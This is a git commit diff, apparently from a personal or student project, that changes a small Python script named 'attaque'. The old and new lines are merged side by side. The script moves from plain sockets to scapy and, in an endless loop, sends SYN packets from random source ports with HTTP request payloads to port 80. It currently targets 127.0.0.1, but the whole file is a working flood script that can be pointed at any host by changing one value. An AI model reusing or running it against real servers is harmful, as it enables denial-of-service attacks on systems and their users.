scapy chgmt

This commit is contained in:
vSpaike 2025-01-14 11:44:53 +01:00
parent e03b4ce473
commit de14ac4b8b

View file

@ -1,26 +1,26 @@
import socket from scapy.all import *
import random as r import random as r
L = [ L = [
"G3T / HTTP/1.1\r\nst: localhost\r\n\r\n", "GET / HTTP/1.1\r\nHost: localhost\r\n\r\n",
"GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n", "GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n",
"GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n" "GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n"
] ]
adresse="localhost" adresse = "127.0.0.1"
port = 80 port = 80
def changeCara(val,nb):
for i in range(nb):
nb_aleatoire=r.randint(0,len(val)-1)
val[nb_aleatoire]=chr(r.randint(0,256))
return val
def attaque(): def attaque():
while True: while True:
with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s: requete = L[r.randint(0, 2)]
s.connect(adresse,port) paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete)
s.send(L[r.randint(0,2)].encode()) send(paquet, verbose=False)
'''
GET / HTTP/1.1
Host: example.com
'''
if __name__ == "__main__": if __name__ == "__main__":
attaque() attaque()